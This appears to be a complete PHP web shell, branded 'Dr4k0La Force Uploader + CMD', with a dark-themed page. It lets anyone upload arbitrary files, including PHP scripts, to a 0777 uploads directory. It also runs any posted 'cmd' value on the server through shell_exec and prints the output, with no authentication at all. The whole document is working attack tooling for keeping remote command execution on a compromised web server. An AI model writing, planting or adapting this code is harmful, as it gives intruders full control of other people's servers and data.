// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Set the target directory for uploads
$targetDirectory = "uploads/";

// Create the target directory if it doesn't exist
if (!is_dir($targetDirectory)) {
mkdir($targetDirectory, 0777, true);
}

// Check if a file was uploaded or a command was sent
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
// Handle File Upload
if (isset($_FILES['fileToUpload'])) {
$file = $_FILES['fileToUpload'];

// Check for file upload errors and show the error code
if ($file['error'] != 0) {
echo "<div class='output'>File upload error: " . $file['error'] . "</div>";
exit;
}

// Get file details
$fileName = basename($file['name']);
$targetFilePath = $targetDirectory . $fileName;
$fileType = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));

// Allowed file types (now includes php for this example, but risky)
$allowedTypes = ['jpg', 'png', 'jpeg', 'gif', 'pdf', 'php'];
if (!in_array($fileType, $allowedTypes)) {
echo "<div class='output'>Sorry, only JPG, JPEG, PNG, GIF, PDF, and PHP files are allowed.</div>";
exit;
}

// Check file size (5MB max)
$maxFileSize = 5 * 1024 * 1024; // 5MB
if ($file['size'] > $maxFileSize) {
echo "<div class='output'>Sorry, your file is too large.</div>";
exit;
}

// Ensure the target directory is writable
if (!is_writable($targetDirectory)) {
echo "<div class='output'>Sorry, the upload directory is not writable.</div>";
exit;
}

// Try to move the uploaded file to the target directory
if (move_uploaded_file($file['tmp_name'], $targetFilePath)) {
echo "<div class='output'>The file " . htmlspecialchars($fileName) . " has been uploaded.</div>";
} else {
echo "<div class='output'>Sorry, there was an error uploading your file.</div>";
}
}

// Handle Command Execution
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo "<div class='output'><pre>Command Output:</pre>";
echo "<pre>" . htmlspecialchars(shell_exec($cmd)) . "</pre></div>";
}
}


<!-- HTML Form for file upload and command execution -->
<!DOCTYPE html>
<html lang="en">

<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
Dr4k0La Force Uploader + CMD <title>Dr4k0La Force Uploader + CMD</title>
<style>
body {
background-color: #1e1e1e; /* Dark terminal-like background */
font-family: "Courier New", Courier, monospace; /* Terminal font */
color: #f1f1f1;
margin: 0;
padding: 40px;
text-align: center; /* Center the content */
}
h2 {
color: #f1f1f1;
margin: 10px 0;
}
h3 {
color: #f1f1f1;
font-size: 1em;
margin-bottom: 20px;
}
form {
background-color: #333; /* Dark background for form */
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.5);
max-width: 500px;
margin: 20px auto;
text-align: left;
}
label {
display: block;
font-size: 0.9em;
margin-bottom: 8px;
}
input[type="file"],
input[type="text"] {
width: 100%;
margin-bottom: 10px;
padding: 8px;
background-color: #222;
border: 1px solid #444;
color: #f1f1f1;
border-radius: 4px;
}
input[type="submit"] {
background-color: #4CAF50;
color: white;
border: none;
padding: 10px 20px;
cursor: pointer;
border-radius: 4px;
}
input[type="submit"]:hover {
background-color: #45a049;
}
.output {
background-color: #282828;
border: 1px solid #444;
border-radius: 8px;
padding: 20px;
margin: 20px auto;
max-width: 500px;
color: #f1f1f1;
text-align: left;
}
img {
max-width: 20%; /* Further reduced image size */
height: auto;
display: block;
margin: 20px auto;
}
</style>



Dr4k0La Force Uploader


ايام راحت و عشرة هانت و منايك كثير على اصلها بانت



<!-- File Upload Form -->

<label for="fileToUpload">Select a file to upload:</label>




<!-- Command Execution Form -->

<label for="cmd">Enter a command:</label>




<img src="https://r2.erweima.ai/imgcompressed/img/compressed_f71fee7a47496f3ddca92b9f22d48c2b.webp" alt="Uploaded Image">